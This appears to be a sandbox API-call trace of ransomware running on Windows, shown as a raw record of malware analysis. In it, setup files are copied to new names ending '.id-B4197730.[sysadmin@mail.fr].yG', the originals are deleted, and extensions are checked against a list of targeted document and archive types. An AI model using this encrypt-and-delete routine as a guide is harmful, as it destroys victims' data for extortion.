	[0041.499] SetEndOfFile (hFile=0x2e4) returned 1
	[0041.500] CloseHandle (hObject=0x2e4) returned 1
	[0041.500] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0041.500] DeleteFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd")) returned 1
	[0041.500] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46
	[0041.500] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46
	[0041.500] lstrlenW (lpString=".doc") returned 4
	[0041.500] lstrcmpiW (lpString1=".doc", lpString2=".cmd") returned 1
	[0041.500] lstrlenW (lpString=".docx") returned 5
	[0041.501] lstrcmpiW (lpString1=".docx", lpString2="e.cmd") returned -1
	[0041.501] lstrlenW (lpString=".pdf") returned 4
	[0041.501] lstrcmpiW (lpString1=".pdf", lpString2=".cmd") returned 1
	[0041.501] lstrlenW (lpString=".xls") returned 4
	[0041.501] lstrcmpiW (lpString1=".xls", lpString2=".cmd") returned 1
	[0041.501] lstrlenW (lpString=".xlsx") returned 5
	[0041.501] lstrcmpiW (lpString1=".xlsx", lpString2="e.cmd") returned -1
	[0041.501] lstrlenW (lpString=".ppt") returned 4
	[0041.501] lstrcmpiW (lpString1=".ppt", lpString2=".cmd") returned 1
	[0041.501] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46
	[0041.501] lstrlenW (lpString=".zip") returned 4
	[0041.501] lstrcmpiW (lpString1=".zip", lpString2=".cmd") returned 1
	[0041.501] lstrlenW (lpString=".rar") returned 4
	[0041.501] lstrcmpiW (lpString1=".rar", lpString2=".cmd") returned 1
	[0041.501] lstrlenW (lpString=".bz2") returned 4
	[0041.501] lstrcmpiW (lpString1=".bz2", lpString2=".cmd") returned -1
	[0041.501] lstrlenW (lpString=".7z") returned 3
	[0041.501] lstrcmpiW (lpString1=".7z", lpString2="cmd") returned -1
	[0041.501] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46
	[0041.501] lstrlenW (lpString=".dbf") returned 4
	[0041.501] lstrcmpiW (lpString1=".dbf", lpString2=".cmd") returned 1
	[0041.501] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46
	[0041.501] lstrlenW (lpString=".1cd") returned 4
	[0041.501] lstrcmpiW (lpString1=".1cd", lpString2=".cmd") returned -1
	[0041.501] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46
	[0041.501] lstrlenW (lpString=".jpg") returned 4
	[0041.501] lstrcmpiW (lpString1=".jpg", lpString2=".cmd") returned 1
	[0041.501] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46
	[0041.501] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46
	[0041.501] lstrlenW (lpString=".doc") returned 4
	[0041.501] lstrcmpiW (lpString1=".doc", lpString2=".cmd") returned 1
	[0041.501] lstrlenW (lpString=".docx") returned 5
	[0041.501] lstrcmpiW (lpString1=".docx", lpString2="e.cmd") returned -1
	[0041.501] lstrlenW (lpString=".pdf") returned 4
	[0041.501] lstrcmpiW (lpString1=".pdf", lpString2=".cmd") returned 1
	[0041.501] lstrlenW (lpString=".xls") returned 4
	[0041.501] lstrcmpiW (lpString1=".xls", lpString2=".cmd") returned 1
	[0041.502] lstrlenW (lpString=".xlsx") returned 5
	[0041.502] lstrcmpiW (lpString1=".xlsx", lpString2="e.cmd") returned -1
	[0041.502] lstrlenW (lpString=".ppt") returned 4
	[0041.502] lstrcmpiW (lpString1=".ppt", lpString2=".cmd") returned 1
	[0041.502] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46
	[0041.502] lstrlenW (lpString=".zip") returned 4
	[0041.502] lstrcmpiW (lpString1=".zip", lpString2=".cmd") returned 1
	[0041.502] lstrlenW (lpString=".rar") returned 4
	[0041.502] lstrcmpiW (lpString1=".rar", lpString2=".cmd") returned 1
	[0041.502] lstrlenW (lpString=".bz2") returned 4
	[0041.502] lstrcmpiW (lpString1=".bz2", lpString2=".cmd") returned -1
	[0041.502] lstrlenW (lpString=".7z") returned 3
	[0041.502] lstrcmpiW (lpString1=".7z", lpString2="cmd") returned -1
	[0041.502] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46
	[0041.502] lstrlenW (lpString=".dbf") returned 4
	[0041.502] lstrcmpiW (lpString1=".dbf", lpString2=".cmd") returned 1
	[0041.502] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46
	[0041.502] lstrlenW (lpString=".1cd") returned 4
	[0041.502] lstrcmpiW (lpString1=".1cd", lpString2=".cmd") returned -1
	[0041.502] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46
	[0041.502] lstrlenW (lpString=".jpg") returned 4
	[0041.502] lstrcmpiW (lpString1=".jpg", lpString2=".cmd") returned 1
	[0041.502] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0041.502] lstrlenW (lpString="SetupResources.dll") returned 18
	[0041.502] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0041.502] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=18264) returned 1
	[0041.502] CloseHandle (hObject=0x2e4) returned 1
	[0041.504] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll")) returned 0x80
	[0041.504] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0041.504] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0041.504] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0041.504] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0041.504] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0041.510] GetLastError () returned 0x0
	[0041.510] ReadFile (in: hFile=0x2e4, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0x4758, lpOverlapped=0x0) returned 1
	[0041.560] WriteFile (in: hFile=0x2f0, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0x4760, lpOverlapped=0x0) returned 1
	[0041.571] ReadFile (in: hFile=0x2e4, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1
	[0041.571] WriteFile (in: hFile=0x2f0, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0xf8, lpOverlapped=0x0) returned 1
	[0041.571] SetEndOfFile (hFile=0x2f0) returned 1
	[0041.572] CloseHandle (hObject=0x2f0) returned 1
	[0041.572] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0041.572] SetEndOfFile (hFile=0x2e4) returned 1
	[0041.573] CloseHandle (hObject=0x2e4) returned 1
	[0041.573] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0041.574] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll")) returned 1
	[0041.574] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45
	[0041.574] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45
	[0041.574] lstrlenW (lpString=".doc") returned 4
	[0041.574] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0041.574] lstrlenW (lpString=".docx") returned 5
	[0041.574] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0041.574] lstrlenW (lpString=".pdf") returned 4
	[0041.574] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0041.574] lstrlenW (lpString=".xls") returned 4
	[0041.574] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0041.574] lstrlenW (lpString=".xlsx") returned 5
	[0041.574] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0041.574] lstrlenW (lpString=".ppt") returned 4
	[0041.574] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0041.574] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45
	[0041.574] lstrlenW (lpString=".zip") returned 4
	[0041.574] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0041.574] lstrlenW (lpString=".rar") returned 4
	[0041.575] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0041.575] lstrlenW (lpString=".bz2") returned 4
	[0041.575] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0041.575] lstrlenW (lpString=".7z") returned 3
	[0041.575] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0041.575] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45
	[0041.575] lstrlenW (lpString=".dbf") returned 4
	[0041.575] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0041.575] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45
	[0041.575] lstrlenW (lpString=".1cd") returned 4
	[0041.575] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0041.575] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45
	[0041.575] lstrlenW (lpString=".jpg") returned 4
	[0041.575] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0041.575] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45
	[0041.575] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45
	[0041.575] lstrlenW (lpString=".doc") returned 4
	[0041.575] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0041.575] lstrlenW (lpString=".docx") returned 5
	[0041.575] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0041.575] lstrlenW (lpString=".pdf") returned 4
	[0041.575] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0041.575] lstrlenW (lpString=".xls") returned 4
	[0041.575] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0041.575] lstrlenW (lpString=".xlsx") returned 5
	[0041.575] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0041.575] lstrlenW (lpString=".ppt") returned 4
	[0041.575] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0041.575] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45
	[0041.575] lstrlenW (lpString=".zip") returned 4
	[0041.575] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0041.575] lstrlenW (lpString=".rar") returned 4
	[0041.575] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0041.575] lstrlenW (lpString=".bz2") returned 4
	[0041.575] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0041.575] lstrlenW (lpString=".7z") returned 3
	[0041.576] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0041.576] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45
	[0041.576] lstrlenW (lpString=".dbf") returned 4
	[0041.576] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0041.576] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45
	[0041.576] lstrlenW (lpString=".1cd") returned 4
	[0041.576] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0041.576] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45
	[0041.576] lstrlenW (lpString=".jpg") returned 4
	[0041.576] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0041.576] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0041.576] lstrlenW (lpString="SetupResources.dll") returned 18
	[0041.576] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0041.576] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=19288) returned 1
	[0041.576] CloseHandle (hObject=0x2e4) returned 1
	[0041.576] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll")) returned 0x80
	[0041.576] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0041.576] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0041.577] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0041.577] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0041.577] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0041.587] GetLastError () returned 0x0
	[0041.587] ReadFile (in: hFile=0x2e4, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0x4b58, lpOverlapped=0x0) returned 1
	[0041.589] WriteFile (in: hFile=0x2f8, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0x4b60, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0x4b60, lpOverlapped=0x0) returned 1
	[0041.590] ReadFile (in: hFile=0x2e4, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1
	[0041.590] WriteFile (in: hFile=0x2f8, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0xf8, lpOverlapped=0x0) returned 1
	[0041.590] SetEndOfFile (hFile=0x2f8) returned 1
	[0041.590] CloseHandle (hObject=0x2f8) returned 1
	[0041.591] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0041.591] SetEndOfFile (hFile=0x2e4) returned 1
	[0041.592] CloseHandle (hObject=0x2e4) returned 1
	[0041.592] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0041.592] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll")) returned 1
	[0041.593] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45
	[0041.593] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45
	[0041.593] lstrlenW (lpString=".doc") returned 4
	[0041.593] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0041.593] lstrlenW (lpString=".docx") returned 5
	[0041.593] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0041.593] lstrlenW (lpString=".pdf") returned 4
	[0041.593] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0041.593] lstrlenW (lpString=".xls") returned 4
	[0041.593] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0041.593] lstrlenW (lpString=".xlsx") returned 5
	[0041.593] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0041.593] lstrlenW (lpString=".ppt") returned 4
	[0041.593] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0041.593] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45
	[0041.593] lstrlenW (lpString=".zip") returned 4
	[0041.593] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0041.593] lstrlenW (lpString=".rar") returned 4
	[0041.593] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0041.593] lstrlenW (lpString=".bz2") returned 4
	[0041.593] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0041.593] lstrlenW (lpString=".7z") returned 3
	[0041.593] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0041.593] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45
	[0041.593] lstrlenW (lpString=".dbf") returned 4
	[0041.593] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0041.593] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45
	[0041.593] lstrlenW (lpString=".1cd") returned 4
	[0041.593] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0041.593] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45
	[0041.593] lstrlenW (lpString=".jpg") returned 4
	[0041.593] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0041.593] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45
	[0041.593] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45
	[0041.593] lstrlenW (lpString=".doc") returned 4
	[0041.593] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0041.593] lstrlenW (lpString=".docx") returned 5
	[0041.593] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0041.594] lstrlenW (lpString=".pdf") returned 4
	[0041.594] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0041.594] lstrlenW (lpString=".xls") returned 4
	[0041.594] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0041.594] lstrlenW (lpString=".xlsx") returned 5
	[0041.594] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0041.594] lstrlenW (lpString=".ppt") returned 4
	[0041.594] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0041.594] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45
	[0041.594] lstrlenW (lpString=".zip") returned 4
	[0041.594] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0041.594] lstrlenW (lpString=".rar") returned 4
	[0041.594] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0041.594] lstrlenW (lpString=".bz2") returned 4
	[0041.594] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0041.594] lstrlenW (lpString=".7z") returned 3
	[0041.594] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0041.594] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45
	[0041.594] lstrlenW (lpString=".dbf") returned 4
	[0041.594] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0041.594] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45
	[0041.594] lstrlenW (lpString=".1cd") returned 4
	[0041.594] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0041.594] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45
	[0041.594] lstrlenW (lpString=".jpg") returned 4
	[0041.594] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0041.594] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0041.594] lstrlenW (lpString="SetupResources.dll") returned 18
	[0041.594] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0041.594] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=17240) returned 1
	[0041.595] CloseHandle (hObject=0x2e4) returned 1
	[0041.595] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll")) returned 0x80
	[0041.595] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0041.595] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0041.595] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0041.595] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0041.595] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0041.608] GetLastError () returned 0x0
	[0041.608] ReadFile (in: hFile=0x2e4, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0x4358, lpOverlapped=0x0) returned 1
	[0041.619] WriteFile (in: hFile=0x2e8, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0x4360, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0x4360, lpOverlapped=0x0) returned 1
	[0041.621] ReadFile (in: hFile=0x2e4, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1
	[0041.621] WriteFile (in: hFile=0x2e8, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0xf8, lpOverlapped=0x0) returned 1
	[0041.622] SetEndOfFile (hFile=0x2e8) returned 1
	[0041.622] CloseHandle (hObject=0x2e8) returned 1
	[0041.623] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0041.623] SetEndOfFile (hFile=0x2e4) returned 1
	[0041.623] CloseHandle (hObject=0x2e4) returned 1
	[0041.624] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0041.624] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll")) returned 1
	[0041.624] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45
	[0041.624] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45
	[0041.624] lstrlenW (lpString=".doc") returned 4
	[0041.624] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0041.624] lstrlenW (lpString=".docx") returned 5
	[0041.624] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0041.624] lstrlenW (lpString=".pdf") returned 4
	[0041.624] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0041.624] lstrlenW (lpString=".xls") returned 4
	[0041.624] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0041.624] lstrlenW (lpString=".xlsx") returned 5
	[0041.624] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0041.624] lstrlenW (lpString=".ppt") returned 4
	[0041.624] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0041.624] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45
	[0041.624] lstrlenW (lpString=".zip") returned 4
	[0041.624] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0041.624] lstrlenW (lpString=".rar") returned 4
	[0041.624] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0041.624] lstrlenW (lpString=".bz2") returned 4
	[0041.625] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0041.625] lstrlenW (lpString=".7z") returned 3
	[0041.625] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0041.625] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45
	[0041.625] lstrlenW (lpString=".dbf") returned 4
